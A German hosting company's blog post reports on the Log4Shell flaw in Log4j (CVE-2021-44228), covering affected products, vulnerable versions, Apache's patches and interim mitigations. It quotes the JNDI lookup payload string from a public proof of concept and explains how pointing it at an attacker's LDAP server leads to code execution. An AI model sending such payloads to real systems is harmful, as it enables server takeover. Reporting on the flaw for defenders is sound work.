Disclaimer: Unsere Services sind von diesem Exploit NICHT betroffen. Wir berichten hier nur über den weltweiten Vorfall. Bei Ungewissheit stehen wir Ihnen gerne zur Seite.
Einleitung
Worüber schon oft Witze gemacht wurden, hat am 10. Dezember 2021 zum Verhängnis geführt – Eine kritische Zero-Day-Lücke in Log4j (ein Logging Framework für Java) gefährdet zahlreiche Server und Apps. Über eine Sicherheitslücke namens Log4Shell in der Java-Logging-Library Log4j können Angreifer Schadcode auf dem betroffenen Server ausführen lassen.
Der Exploit kann ausgenutzt werden, indem manipulierte Anfragen an einen Server oder eine Anwendung geschickt werden, welche(r) eine verwundbare Log4j Version einsetzt (<= v2.14.0). Der PoC (Proof-of-Concept) Code von der Pentesting-Gruppe 0x0021h zeigt, dass der Angreifer eine Zeichenkette der Form ${jndi:ldap://127.0.0.1:1389/a} ins Protokoll schreibt. JNDI als Verzeichnisdienst kontaktiert den LDAP-Server 127.0.0.1:1389 und nimmt die Daten wie potenziell bösartigen Code entgegen und führt diese aus. Ein Angreifer müsste demnach einen von ihm kontrollierten LDAP-Server angeben, um einen Server über das Logging zu kapern (Log4Shell).
verwundbare Komponenten
Für diese Zero-Day-Sicherheitslücke wurde bereits die CVE Nummer CVE-2021-44228, Risiko kritisch, CVSSv3 10/10) vergeben. Log4j ist ein standardisiertes Logging-Framework, welches sich durch zahlreiche und weit verbreitete Systeme zieht. Der französische Cybersecurity Engineer “SwitHak” hat auf GitHub eine Liste von betroffener Software zusammengestellt, darunter auch sehr weit verbreitete Software-Lösungen wie vmWare, Apache Solr, Amazon Web Services, Steam, Cloudflare, CPanel (setzen wir – dream-soft – glücklicherweise nicht ein), Docker und unzählig weitere Anwendungen.
verwundbare Java Bibliothek
Betroffen ist Log4J von Version v2.0-beta9 bis zur Version v2.14.1.
Die Apache Foundation hat kurzfristig die Version 2.15.0 veröffentlicht, die die Lücke (vorerst) schließt. In einer Sicherheitsmeldung listen die Apache-Entwickler zudem Maßnahmen auf, wie man die Server ohne Update vorläufig sichern kann. Bei Log4j ab v2.10 hilft das Setzen der Systemeigenschaft “log4j2.formatMsgNoLookups” auf “true” oder das Entfernen der JndiLookup-Klasse etwa mit dem Befehl zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
ursprünglicher Log4j-Patch nicht ausreichend!
Version 2.15.0 von Log4j sollte die Log4Shell-Sicherheitslücke schließen. Das reichte jedoch nicht aus. Log4j 2.16.0 behebt nun noch eine weitere Schwachstelle.
Die Apache-Entwickler haben in Version 2.16.0 von Log4j eine weitere Sicherheitslücke geschlossen, die nach dem ersten Versuch der Fehlerbehebung der Log4Shell-Schwachstelle in der 2.15.0er-Fassung offen stand. Der Patch war unvollständig, sodass bei bestimmten Logging-Optionen Angreifer die Software durch eine DoS-Lücke hätten lahmlegen können.
(Quelle: Heise)
Apache Log4j 2.x <= 2.14.1 RCE
— 0x0021h (@0x0021h) December 10, 2021
Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc. are all affectedhttps://t.co/J8O4oYeo8T#vulnerabilities #cybersecurity #infosec #BugBountyTip #BugBounty
Disclaimer: Unsere Services sind von diesem Exploit NICHT betroffen. Wir berichten hier nur über den weltweiten Vorfall. Bei Ungewissheit stehen wir Ihnen gerne zur Seite.
Über den Autor
Fabio ist der kreative Kopf des Unternehmens. Als Webentwickler und DevOps Spezialist bedient er neben dem Management die Optimierung bestehender Prozesse digital aufgestellter Unternehmen (Agenturen und Unternehmen mit eigener Infrastruktur). Seit 2017 ist Fabio bei dream-soft und betreut außerdem zusammen mit dem Team unsere technische Infrastruktur am Standort Frankfurt am Main im Herzen Hessens.